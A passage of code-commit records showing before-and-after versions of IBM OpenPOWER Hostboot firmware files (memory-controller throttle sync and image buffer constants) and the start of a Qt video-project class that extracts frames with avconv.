HWP Owner : Joe McGill <jmcgill@us.ibm.com>\n\/\/\/ *HWP FW Owner : Thi Tran <thi@us.ibm.com>\n\/\/\/ *HWP Team : Nest\n\/\/\/ *HWP Level : 2\n\/\/\/ *HWP Consumed by : HB\n\/\/\/ ----------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/ Includes\n\/\/------------------------------------------------------------------------------\n#include <p9_throttle_sync.H>\n#include <fapi2.H>\n#include <lib\/utils\/find.H>\n\n\/\/\/----------------------------------------------------------------------------\n\/\/\/ Constant definitions\n\/\/\/----------------------------------------------------------------------------\nconst uint8_t SUPER_SYNC_BIT = 14;\n\n\/\/\/\n\/\/\/ @brief Perform throttle sync on the Memory Controllers\n\/\/\/\n\/\/\/ @tparam T template parameter, passed in targets.\n\/\/\/ @param[in] i_mcTargets Vector of reference of MC targets (MCS or MI)\n\/\/\/\n\/\/\/ @return FAPI2_RC_SUCCESS if success, else error code.\n\/\/\/\ntemplate< fapi2::TargetType T>\nfapi2::ReturnCode throttleSync(\n const std::vector< fapi2::Target<T> >& i_mcTargets);\n\n\/\/\/ TARGET_TYPE_MCS\ntemplate<>\nfapi2::ReturnCode throttleSync(\n const std::vector< fapi2::Target<fapi2::TARGET_TYPE_MCS> >& i_mcTargets)\n{\n FAPI_DBG(\"Entering\");\n fapi2::ReturnCode l_rc;\n fapi2::buffer<uint64_t> l_scomData(0);\n fapi2::buffer<uint64_t> l_scomMask(0);\n bool l_mcaWithDimm[MAX_MCA_PER_PROC];\n fapi2::Target<fapi2::TARGET_TYPE_MCS> l_masterMcs;\n fapi2::Target<fapi2::TARGET_TYPE_MCA> l_mca;\n uint8_t l_masterMcsPos = 0;\n uint8_t l_mcaPos = 0;\n\n \/\/ Initialize\n memset(l_mcaWithDimm, false, sizeof(l_mcaWithDimm));\n\n \/\/ --------------------------------------------------------------\n \/\/ 1. Determine the 'master' MCS and mark which MCA ports have\n \/\/ dimms attached\n \/\/ --------------------------------------------------------------\n bool l_masterMcsFound = false;\n\n for (auto l_mcs : i_mcTargets)\n {\n \/\/ Find first MCS that has DIMM attached\n std::vector< fapi2::Target<fapi2::TARGET_TYPE_DIMM> > l_dimms =\n mss::find_targets<fapi2::TARGET_TYPE_DIMM>(l_mcs);\n\n if (l_dimms.size() > 0)\n {\n \/\/ Set first MCS with DIMM attached to be master\n if (l_masterMcsFound == false)\n {\n l_masterMcs = l_mcs;\n l_masterMcsFound = true;\n }\n\n \/\/ Loop over the DIMM list to mark the MCAs that own them\n for (auto l_thisDimm : l_dimms)\n {\n l_mca = mss::find_target<fapi2::TARGET_TYPE_MCA>(l_thisDimm);\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_UNIT_POS, l_mca, l_mcaPos),\n \"Error getting ATTR_CHIP_UNIT_POS, l_rc 0x%.8X\",\n (uint64_t)fapi2::current_err);\n l_mcaWithDimm[l_mcaPos] = true;\n }\n }\n }\n\n \/\/ No master found\n if (l_masterMcsFound == false)\n {\n \/\/ Nothing to do with this proc, exit\n \/\/ Note: This is a common scenario on Cronus platform.\n goto fapi_try_exit;\n }\n\n \/\/ Display MCS\/MCA with DIMM attached\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_UNIT_POS, l_masterMcs,\n l_masterMcsPos),\n \"Error getting ATTR_CHIP_UNIT_POS, l_rc 0x%.8X\",\n (uint64_t)fapi2::current_err);\n FAPI_INF(\"Master MCS pos %u\", l_masterMcsPos);\n FAPI_DBG(\"MCA with DIMM attached:\");\n\n for (uint8_t ii = 0; ii < MAX_MCA_PER_PROC; ii++)\n {\n FAPI_DBG(\" MCA[%u] %u\", ii, l_mcaWithDimm[ii]);\n }\n\n \/\/ -------------------------------------------------------------------\n \/\/ 2. Reset sync command on both channels to make sure they are clean\n \/\/ -------------------------------------------------------------------\n \/\/ Reset the sync command on both channels to make sure they are clean\n l_scomMask.flush<0>().setBit<MCS_MCSYNC_SYNC_GO_CH0>();\n l_scomData.flush<0>();\n\n FAPI_TRY(fapi2::putScomUnderMask(l_masterMcs, MCS_MCSYNC,\n l_scomData, l_scomMask),\n \"putScomUnderMask() returns an error (Sync reset), Addr 0x%.16llX\",\n MCS_MCSYNC);\n\n \/\/ --------------------------------------------------------------\n \/\/ 3. Setup MC Sync Command Register data for master MCS\n \/\/ --------------------------------------------------------------\n\n \/\/ Clear buffers\n l_scomData.flush<0>();\n l_scomMask.flush<0>();\n\n \/\/ Setup MCSYNC_CHANNEL_SELECT\n \/\/ Set ALL channels with or without DIMMs (bits 0:7)\n l_scomData.setBit<MCS_MCSYNC_CHANNEL_SELECT,\n MCS_MCSYNC_CHANNEL_SELECT_LEN>();\n l_scomMask.setBit<MCS_MCSYNC_CHANNEL_SELECT,\n MCS_MCSYNC_CHANNEL_SELECT_LEN>();\n\n \/\/ Setup MCSYNC_SYNC_TYPE\n \/\/ Set all sync types except Super Sync\n l_scomData.setBit<MCS_MCSYNC_SYNC_TYPE,\n MCS_MCSYNC_SYNC_TYPE_LEN>().clearBit(SUPER_SYNC_BIT);\n l_scomMask.setBit<MCS_MCSYNC_SYNC_TYPE,\n MCS_MCSYNC_SYNC_TYPE_LEN>();\n\n \/\/ Setup SYNC_GO, pick either MCA port of the master MCS, but the port\n \/\/ must have DIMM connected.\n l_mcaPos = l_masterMcsPos * 2; \/\/ 1st MCS postion of the master MCS\n\n if (l_mcaWithDimm[l_mcaPos] == true)\n {\n l_scomMask.setBit<MCS_MCSYNC_SYNC_GO_CH0>();\n l_scomData.setBit<MCS_MCSYNC_SYNC_GO_CH0>();\n }\n\n \/\/ --------------------------------------------------------------\n \/\/ 4. Write to MC Sync Command Register of master MCS\n \/\/ --------------------------------------------------------------\n\n \/\/ Write to MCSYNC reg\n FAPI_INF(\"Writing MCS_MCSYNC reg 0x%.16llX: Mask 0x%.16llX , Data 0x%.16llX\",\n MCS_MCSYNC, l_scomMask, l_scomData);\n\n FAPI_TRY(fapi2::putScomUnderMask(l_masterMcs, MCS_MCSYNC,\n l_scomData, l_scomMask),\n \"putScomUnderMask() returns an error (Sync), MCS_MCSYNC reg 0x%.16llX\",\n MCS_MCSYNC);\n\n \/\/ Note: No need to read Sync replay count and retry in P9.\n\nfapi_try_exit:\n FAPI_DBG(\"Exiting\");\n return fapi2::current_err;\n}\n\n\/\/\/ TARGET_TYPE_MI\ntemplate<>\nfapi2::ReturnCode throttleSync(\n const std::vector< fapi2::Target<fapi2::TARGET_TYPE_MI> >& i_mcTargets)\n{\n FAPI_DBG(\"Entering\");\n fapi2::ReturnCode l_rc;\n\n \/\/ Note: Add code for Cumulus\n\n FAPI_DBG(\"Exiting\");\n return fapi2::current_err;\n}\n\nextern \"C\"\n{\n\n\/\/\/----------------------------------------------------------------------------\n\/\/\/ Function definitions\n\/\/\/----------------------------------------------------------------------------\n\n\/\/\/\n\/\/\/ @brief p9_throttle_sync procedure entry point\n\/\/\/ See doxygen in p9_throttle_sync.H\n\/\/\/\n fapi2::ReturnCode p9_throttle_sync(\n const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target)\n {\n FAPI_DBG(\"Entering\");\n fapi2::ReturnCode l_rc;\n\n auto l_mcsChiplets = i_target.getChildren<fapi2::TARGET_TYPE_MCS>();\n auto l_miChiplets = i_target.getChildren<fapi2::TARGET_TYPE_MI>();\n\n \/\/ Get the functional MCS on this proc\n if (l_mcsChiplets.size() > 0)\n {\n FAPI_TRY(throttleSync(l_mcsChiplets),\n \"throttleSync() returns error l_rc 0x%.8X\",\n (uint64_t)fapi2::current_err);\n }\n\n \/\/ Cumulus\n if (l_miChiplets.size() > 0)\n {\n FAPI_TRY(throttleSync(l_miChiplets),\n \"throttleSync() returns error l_rc 0x%.8X\",\n (uint64_t)fapi2::current_err);\n }\n\n fapi_try_exit:\n FAPI_DBG(\"Exiting\");\n return fapi2::current_err;\n }\n\n} \/\/ extern \"C\"\n<commit_msg>HW397255 Sync Enablement workaround<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_throttle_sync.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/ ----------------------------------------------------------------------------\n\/\/\/ @file p9_throttle_sync.H\n\/\/\/\n\/\/\/ @brief Perform p9_throttle_sync HWP\n\/\/\/\n\/\/\/ The purpose of this procedure is to triggers sync command from a 'master'\n\/\/\/ MC to other MCs that have attached memory in a processor.\n\/\/\/\n\/\/\/ ----------------------------------------------------------------------------\n\/\/\/ *HWP HWP Owner : Joe McGill <jmcgill@us.ibm.com>\n\/\/\/ *HWP FW Owner : Thi Tran <thi@us.ibm.com>\n\/\/\/ *HWP Team : Nest\n\/\/\/ *HWP Level : 2\n\/\/\/ *HWP Consumed by : HB\n\/\/\/ ----------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/ Includes\n\/\/------------------------------------------------------------------------------\n#include <p9_throttle_sync.H>\n#include <fapi2.H>\n#include <lib\/utils\/find.H>\n\n\/\/\/----------------------------------------------------------------------------\n\/\/\/ Constant definitions\n\/\/\/----------------------------------------------------------------------------\nconst uint8_t SUPER_SYNC_BIT = 14;\nconst uint8_t MAX_MC_SIDES_PER_PROC = 2; \/\/ MC01, MC23\n\n\/\/ Structure that holds the potential master MCS for a MC side (MC01\/MC23)\nstruct mcSideInfo_t\n{\n bool masterMcsFound = false;\n \/\/ Master MCS for this MC side\n fapi2::Target<fapi2::TARGET_TYPE_MCS> masterMcs;\n};\n\n\n\/\/\/\n\/\/\/ @brief Programming master MCS\n\/\/\/ Writes MCS_MCSYNC reg to set the input MCS as the master.\n\/\/\/\n\/\/\/ @param[in] i_mcsTarget The MCS target to be programmed as master.\n\/\/\/\n\/\/\/ @return FAPI2_RC_SUCCESS if success, else error code.\n\/\/\/\nfapi2::ReturnCode progMasterMcs(\n const fapi2::Target<fapi2::TARGET_TYPE_MCS>& i_mcsTarget)\n{\n FAPI_DBG(\"Entering\");\n fapi2::ReturnCode l_rc;\n fapi2::buffer<uint64_t> l_scomData(0);\n fapi2::buffer<uint64_t> l_scomMask(0);\n\n \/\/ -------------------------------------------------------------------\n \/\/ 1. Reset sync command\n \/\/ -------------------------------------------------------------------\n\n \/\/ Note:\n \/\/ MCS_MCSYNC reg bit 16 is now used to setup SYNC_GO for both channels.\n \/\/ Bit 17 is now reserved (it was MCS_MCSYNC_SYNC_GO_CH1 before)\n \/\/ REGISTER MCSYNC(mcsync(0:27), 0x000000000);\n \/\/ MCSYNC.address(SCOM) += 0x00000015;\n \/\/ MCSYNC.comment = \"MC Sync Command Register (MCSYNC)\";\n \/\/ MCSYNC.attr(part_decl) = \"0:7 = MCSYNC_Channel_Select\"\n \/\/ \"8:15 = MCSYNC_Sync_Type\"\n \/\/ \"16 = MCSYNC_Sync_Go\"\n \/\/ \"17:27 = MCSYNC_Reserved\";\n \/\/ MCSYNC.attr(access) = \"**::SCOM = RW\";\n \/\/ MCSYNC.attr(parity) = \"mcSYNC_pe\";\n \/\/ MCSYNC.attr(wpulse) = \"act_sc15\";\n\n l_scomMask.flush<0>().setBit<MCS_MCSYNC_SYNC_GO_CH0>();\n l_scomData.flush<0>();\n FAPI_TRY(fapi2::putScomUnderMask(i_mcsTarget, MCS_MCSYNC,\n l_scomData, l_scomMask),\n \"putScomUnderMask() returns an error (Sync reset), Addr 0x%.16llX\",\n MCS_MCSYNC);\n\n \/\/ --------------------------------------------------------------\n \/\/ 2. Setup MC Sync Command Register data for master MCS\n \/\/ --------------------------------------------------------------\n \/\/ Clear buffers\n l_scomData.flush<0>();\n l_scomMask.flush<0>();\n\n \/\/ Setup MCSYNC_CHANNEL_SELECT\n \/\/ Set ALL channels with or without DIMMs (bits 0:7)\n l_scomData.setBit<MCS_MCSYNC_CHANNEL_SELECT,\n MCS_MCSYNC_CHANNEL_SELECT_LEN>();\n l_scomMask.setBit<MCS_MCSYNC_CHANNEL_SELECT,\n MCS_MCSYNC_CHANNEL_SELECT_LEN>();\n\n \/\/ Setup MCSYNC_SYNC_TYPE\n \/\/ Set all sync types except Super Sync\n l_scomData.setBit<MCS_MCSYNC_SYNC_TYPE,\n MCS_MCSYNC_SYNC_TYPE_LEN>().clearBit(SUPER_SYNC_BIT);\n l_scomMask.setBit<MCS_MCSYNC_SYNC_TYPE,\n MCS_MCSYNC_SYNC_TYPE_LEN>();\n\n \/\/ Setup SYNC_GO (bit 16 is now used for both channels)\n l_scomMask.setBit<MCS_MCSYNC_SYNC_GO_CH0>();\n l_scomData.setBit<MCS_MCSYNC_SYNC_GO_CH0>();\n\n \/\/ --------------------------------------------------------------\n \/\/ 3. Write to MC Sync Command Register of master MCS\n \/\/ --------------------------------------------------------------\n \/\/ Write to MCSYNC reg\n FAPI_INF(\"Writing MCS_MCSYNC reg 0x%.16llX: Mask 0x%.16llX , Data 0x%.16llX\",\n MCS_MCSYNC, l_scomMask, l_scomData);\n\n FAPI_TRY(fapi2::putScomUnderMask(i_mcsTarget, MCS_MCSYNC,\n l_scomData, l_scomMask),\n \"putScomUnderMask() returns an error (Sync), MCS_MCSYNC reg 0x%.16llX\",\n MCS_MCSYNC);\n\n \/\/ Note: No need to read Sync replay count and retry in P9.\n\nfapi_try_exit:\n FAPI_DBG(\"Exiting\");\n return fapi2::current_err;\n}\n\n\n\/\/\/\n\/\/\/ @brief Perform throttle sync on the Memory Controllers\n\/\/\/\n\/\/\/ @tparam T template parameter, passed in targets.\n\/\/\/ @param[in] i_mcTargets Vector of reference of MC targets (MCS or MI)\n\/\/\/\n\/\/\/ @return FAPI2_RC_SUCCESS if success, else error code.\n\/\/\/\ntemplate< fapi2::TargetType T>\nfapi2::ReturnCode throttleSync(\n const std::vector< fapi2::Target<T> >& i_mcTargets);\n\n\/\/\/ TARGET_TYPE_MCS\ntemplate<>\nfapi2::ReturnCode throttleSync(\n const std::vector< fapi2::Target<fapi2::TARGET_TYPE_MCS> >& i_mcTargets)\n{\n FAPI_DBG(\"Entering\");\n fapi2::ReturnCode l_rc;\n mcSideInfo_t l_mcSide[MAX_MC_SIDES_PER_PROC];\n uint8_t l_sideNum = 0;\n uint8_t l_pos = 0;\n uint8_t l_numMasterProgrammed = 0;\n\n \/\/ Initialization\n for (l_sideNum = 0; l_sideNum < MAX_MC_SIDES_PER_PROC; l_sideNum++)\n {\n l_mcSide[l_sideNum].masterMcsFound = false;\n }\n\n \/\/ ---------------------------------------------------------------------\n \/\/ 1. Pick the first MCS with DIMMS as potential master\n \/\/ for both MC sides (MC01\/MC23)\n \/\/ ---------------------------------------------------------------------\n for (auto l_mcs : i_mcTargets)\n {\n std::vector< fapi2::Target<fapi2::TARGET_TYPE_DIMM> > l_dimms =\n mss::find_targets<fapi2::TARGET_TYPE_DIMM>(l_mcs);\n\n if (l_dimms.size() > 0)\n {\n \/\/ This MCS has DIMMs attached, find out which MC side it\n \/\/ belongs to:\n \/\/ l_sideNum = 0 --> MC01\n \/\/ 1 --> MC23\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_UNIT_POS, l_mcs,\n l_pos),\n \"Error getting ATTR_CHIP_UNIT_POS, l_rc 0x%.8X\",\n (uint64_t)fapi2::current_err);\n l_sideNum = l_pos \/ MAX_MC_SIDES_PER_PROC;\n\n FAPI_INF(\"MCS %u has DIMMs\", l_pos);\n\n \/\/ If there's no master MCS marked for this side yet, mark\n \/\/ this MCS as master\n if (l_mcSide[l_sideNum].masterMcsFound == false)\n {\n FAPI_INF(\"Mark MCS %u as master for MC side %\",\n l_pos, l_sideNum);\n l_mcSide[l_sideNum].masterMcsFound = true;\n l_mcSide[l_sideNum].masterMcs = l_mcs;\n }\n }\n }\n\n \/\/ --------------------------------------------------------------\n \/\/ 2. Program the master MCS\n \/\/ --------------------------------------------------------------\n for (l_sideNum = 0; l_sideNum < MAX_MC_SIDES_PER_PROC; l_sideNum++)\n {\n \/\/ If there is a potential master MCS found for this side\n if (l_mcSide[l_sideNum].masterMcsFound == true)\n {\n \/\/ No master MCS programmed for either side yet,\n \/\/ go ahead and program this MCS as master.\n if (l_numMasterProgrammed == 0)\n {\n FAPI_TRY(progMasterMcs(l_mcSide[l_sideNum].masterMcs),\n \"programMasterMcs() returns error\"\n \"NumMasterProgrammed %d, l_rc 0x%.8X\",\n l_numMasterProgrammed, (uint64_t)fapi2::current_err);\n l_numMasterProgrammed++;\n }\n else\n {\n \/\/ A master MCS is already programmed on MC side 0 (MC01).\n \/\/ HW397255 requires to also program a master MCS on MC23 if\n \/\/ it has DIMMs.\n fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP> l_chip =\n l_mcSide[l_sideNum].masterMcs.getParent<fapi2::TARGET_TYPE_PROC_CHIP>();\n fapi2::ATTR_CHIP_EC_FEATURE_HW397255_Type l_HW397255_enabled;\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_EC_FEATURE_HW397255,\n l_chip, l_HW397255_enabled),\n \"Error getting the ATTR_CHIP_EC_FEATURE_HW397255\");\n\n if (l_HW397255_enabled)\n {\n FAPI_TRY(progMasterMcs(l_mcSide[l_sideNum].masterMcs),\n \"programMasterMcs() returns error\"\n \"NumMasterProgrammed %d, l_rc 0x%.8X\",\n l_numMasterProgrammed, (uint64_t)fapi2::current_err);\n }\n }\n }\n }\n\nfapi_try_exit:\n FAPI_DBG(\"Exiting\");\n return fapi2::current_err;\n}\n\n\/\/\/ TARGET_TYPE_MI\ntemplate<>\nfapi2::ReturnCode throttleSync(\n const std::vector< fapi2::Target<fapi2::TARGET_TYPE_MI> >& i_mcTargets)\n{\n FAPI_DBG(\"Entering\");\n fapi2::ReturnCode l_rc;\n\n \/\/ Note: Add code for Cumulus\n\n FAPI_DBG(\"Exiting\");\n return fapi2::current_err;\n}\n\nextern \"C\"\n{\n\n\/\/\/----------------------------------------------------------------------------\n\/\/\/ Function definitions\n\/\/\/----------------------------------------------------------------------------\n\n\/\/\/\n\/\/\/ @brief p9_throttle_sync procedure entry point\n\/\/\/ See doxygen in p9_throttle_sync.H\n\/\/\/\n fapi2::ReturnCode p9_throttle_sync(\n const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target)\n {\n FAPI_DBG(\"Entering\");\n fapi2::ReturnCode l_rc;\n\n auto l_mcsChiplets = i_target.getChildren<fapi2::TARGET_TYPE_MCS>();\n auto l_miChiplets = i_target.getChildren<fapi2::TARGET_TYPE_MI>();\n\n \/\/ Get the functional MCS on this proc\n if (l_mcsChiplets.size() > 0)\n {\n FAPI_TRY(throttleSync(l_mcsChiplets),\n \"throttleSync() returns error l_rc 0x%.8X\",\n (uint64_t)fapi2::current_err);\n }\n\n \/\/ Cumulus\n if (l_miChiplets.size() > 0)\n {\n FAPI_TRY(throttleSync(l_miChiplets),\n \"throttleSync() returns error l_rc 0x%.8X\",\n (uint64_t)fapi2::current_err);\n }\n\n fapi_try_exit:\n FAPI_DBG(\"Exiting\");\n return fapi2::current_err;\n }\n\n} \/\/ extern \"C\"\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/utils\/imageProcs\/p9_infrastruct_help.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#ifndef _P9_INFRASTRUCT_HELP_H_\n#define _P9_INFRASTRUCT_HELP_H_\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h> \/\/memcpy()\n#include <errno.h>\n\n\/\/\n\/\/ Various image\/ring buffer sizes. Must be used by all users (VBU, FSP, HB, HBI, Cronus)\n\/\/\n\/\/@FIXME: CMO: get rid of FIXED_RING_BUF_SIZE when ring_apply no longer uses it.\nconst uint32_t FIXED_RING_BUF_SIZE = 60000; \/\/ Fixed ring buf size for _fixed.\nconst uint32_t MAX_SEEPROM_IMAGE_SIZE = 4 * 56 * 1024 - 256; \/\/ Max Seeprom size, excl ECC bits (4 banks).\nconst uint32_t MAX_RT_IMAGE_SIZE = 1024 * 1024; \/\/ Max Runtime size.\nconst uint32_t MAX_RING_BUF_SIZE = 60000; \/\/ Max ring buffer size.\nconst uint32_t MAX_OVERRIDES_SIZE = 2 * 1024; \/\/ Max overrides section size.\nconst uint32_t MAX_HBBL_SIZE = 20 * 1024; \/\/ Max hbbl section size.\n\n\/\/@FIXME: CMO: Aren't these defined somewhere else?\n#define NUM_OF_CORES 24\n#define NUM_OF_CMES 12\n#define NUM_OF_QUADS 6\n#define CORES_PER_QUAD (NUM_OF_CORES\/NUM_OF_QUADS)\n\nenum SYSPHASE\n{\n SYSPHASE_HB_SBE = 0,\n SYSPHASE_RT_CME = 1,\n SYSPHASE_RT_SGPE = 2,\n NOOF_SYSPHASES = 3,\n};\n\nenum MODEBUILD\n{\n MODEBUILD_IPL = 0,\n MODEBUILD_REBUILD = 1,\n NOOF_MODEBUILDS = 2,\n};\n\n#if defined(__FAPI)\n #include <fapi2.H>\n #define MY_INF(_fmt_, _args_...) FAPI_INF(_fmt_, ##_args_)\n #define MY_ERR(_fmt_, _args_...) FAPI_INF(_fmt_, ##_args_)\n #define MY_DBG(_fmt_, _args_...) FAPI_DBG(_fmt_, ##_args_)\n#else\n #define MY_INF(_fmt_, _args_...) printf(_fmt_, ##_args_)\n #define MY_ERR(_fmt_, _args_...) printf(_fmt_, ##_args_)\n #define MY_DBG(_fmt_, _args_...) printf(_fmt_, ##_args_)\n#endif\n\n\n\/\/ N-byte align an address, offset or size (aos)\ninline uint64_t myByteAlign( const uint8_t nBytes, const uint64_t aos)\n{\n return ((aos + nBytes - 1) \/ nBytes) * nBytes;\n}\n\n#endif \/\/_P9_INFRASTRUCT_HELP_H_\n<commit_msg>Cleanup: ring_apply and associated routines<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/utils\/imageProcs\/p9_infrastruct_help.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#ifndef _P9_INFRASTRUCT_HELP_H_\n#define _P9_INFRASTRUCT_HELP_H_\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h> \/\/memcpy()\n#include <errno.h>\n\n\/\/\n\/\/ Various image\/ring buffer sizes. Must be used by all users (VBU, FSP, HB, HBI, Cronus)\n\/\/\nconst uint32_t MAX_SEEPROM_IMAGE_SIZE = 4 * 56 * 1024 - 256; \/\/ Max Seeprom size, excl ECC bits (4 banks).\nconst uint32_t MAX_RT_IMAGE_SIZE = 1024 * 1024; \/\/ Max Runtime size.\nconst uint32_t MAX_RING_BUF_SIZE = 60000; \/\/ Max ring buffer size.\nconst uint32_t FIXED_RING_BUF_SIZE = 60000; \/\/@TODO: RTC156706\nconst uint32_t MAX_OVERRIDES_SIZE = 2 * 1024; \/\/ Max overrides section size.\nconst uint32_t MAX_HBBL_SIZE = 20 * 1024; \/\/ Max hbbl section size.\n\n\/\/@FIXME: CMO: Aren't these defined somewhere else?\n#define NUM_OF_CORES 24\n#define NUM_OF_CMES 12\n#define NUM_OF_QUADS 6\n#define CORES_PER_QUAD (NUM_OF_CORES\/NUM_OF_QUADS)\n\nenum SYSPHASE\n{\n SYSPHASE_HB_SBE = 0,\n SYSPHASE_RT_CME = 1,\n SYSPHASE_RT_SGPE = 2,\n NOOF_SYSPHASES = 3,\n};\n\nenum MODEBUILD\n{\n MODEBUILD_IPL = 0,\n MODEBUILD_REBUILD = 1,\n NOOF_MODEBUILDS = 2,\n};\n\n#if defined(__FAPI)\n #include <fapi2.H>\n #define MY_INF(_fmt_, _args_...) FAPI_INF(_fmt_, ##_args_)\n #define MY_ERR(_fmt_, _args_...) FAPI_INF(_fmt_, ##_args_)\n #define MY_DBG(_fmt_, _args_...) FAPI_DBG(_fmt_, ##_args_)\n#else\n #define MY_INF(_fmt_, _args_...) printf(_fmt_, ##_args_)\n #define MY_ERR(_fmt_, _args_...) printf(_fmt_, ##_args_)\n #define MY_DBG(_fmt_, _args_...) printf(_fmt_, ##_args_)\n#endif\n\n\n\/\/ N-byte align an address, offset or size (aos)\ninline uint64_t myByteAlign( const uint8_t nBytes, const uint64_t aos)\n{\n return ((aos + nBytes - 1) \/ nBytes) * nBytes;\n}\n\n#endif \/\/_P9_INFRASTRUCT_HELP_H_\n<|endoftext|>"} {"text":"<commit_before>#include \"projet.h\"\n#include <QtDebug>\n#include <QProcess>\n#include <QException>\n#include <QPainter>\n\nconst QSize Projet::sizeOutput = QSize(1002, 561);\n\nProjet::Projet()\n{\n\n}\n\nQImage* Projet::getImageVideo(int number)\n{\n return _imagesVideo.at(number);\n}\n\nQImage* Projet::getImageOutput(int number)\n{\n return _imagesOutput.at(number);\n}\n\nint Projet::getNbFrameVideo()\n{\n return _nbFrameVideo;\n}\n\nProjet* Projet::create(QString &name, QDir &workspace, QFile &video, int frequenceVideo)\n{\n Projet *projet = new Projet();\n\n projet->_frequenceVideo = frequenceVideo;\n\n if(workspace.exists())\n {\n if(video.exists())\n {\n if(workspace.mkdir(name))\n {\n projet->_project = new QDir(workspace.path()+\"\/\"+name);\n qDebug() << projet->_project->path();\n projet->_project->mkdir(\"input\");\n projet->_input = new QDir(projet->_project->path()+\"\/input\");\n projet->_project->mkdir(\"output\");\n projet->_output = new QDir(projet->_project->path()+\"\/output\");\n video.copy(projet->_project->path()+\"\/input\/video\");\n projet->_video = new QFile(projet->_project->path()+\"\/input\/video\");\n\n QProcess process;\n process.start(\"avconv -i \" + projet->_project->path() +\"\/input\/video -vsync 1 -s \" + QString::number(sizeOutput.width()) + \"x\" + QString::number(projet->sizeOutput.height()) + \" -r \" + QString::number(projet->_frequenceVideo) + \" -y \" + projet->_project->path() + \"\/input\/img%d.bmp\");\n process.waitForFinished(-1);\n\n QStringList filters;\n filters << \"img*.bmp\";\n projet->_nbFrameVideo = projet->_input->entryList(filters).count();\n qDebug() << \"Nombre de frames : \" << projet->_nbFrameVideo;\n\n QFile file(projet->_project->path() + \"\/info\");\n file.open(QIODevice::WriteOnly | QIODevice::Text);\n QTextStream out(&file);\n\n out << QString::number(projet->_frequenceVideo) << \"\\n\" << QString::number(projet->_nbFrameVideo);\n\n file.close();\n\n for(int i = 1; i <= projet->_nbFrameVideo; i++)\n {\n projet->_imagesVideo.push_back(new QImage(projet->_input->path()+\"\/img\"+QString::number(i)+\".bmp\"));\n QImage *image = new QImage(projet->sizeOutput.width(),projet->sizeOutput.height(),QImage::Format_ARGB32);\n image->save(projet->_output->path() + \"\/img\" + QString::number(i) + \".png\");\n projet->_imagesOutput.push_back(image);\n }\n }\n else\n {\n throw QString(\"Ce projet existe déjà\");\n }\n }\n else\n {\n throw QString(\"La vidéo n'existe pas\");\n }\n }\n else\n {\n throw QString(\"Le workspace n'existe pas\");\n }\n\n return projet;\n}\n\nProjet* Projet::open(QDir &path)\n{\n Projet *projet = new Projet();\n\n if(path.exists())\n {\n projet->_project = new QDir(path.path());\n projet->_input = new QDir(path.path() + \"\/input\");\n projet->_output = new QDir(path.path() + \"\/output\");\n\n QFile info(projet->_project->path() + \"\/info\");\n\n if(info.exists())\n {\n info.open(QIODevice::ReadOnly | QIODevice::Text);\n QTextStream in(&info);\n\n QString string;\n in >> string;\n 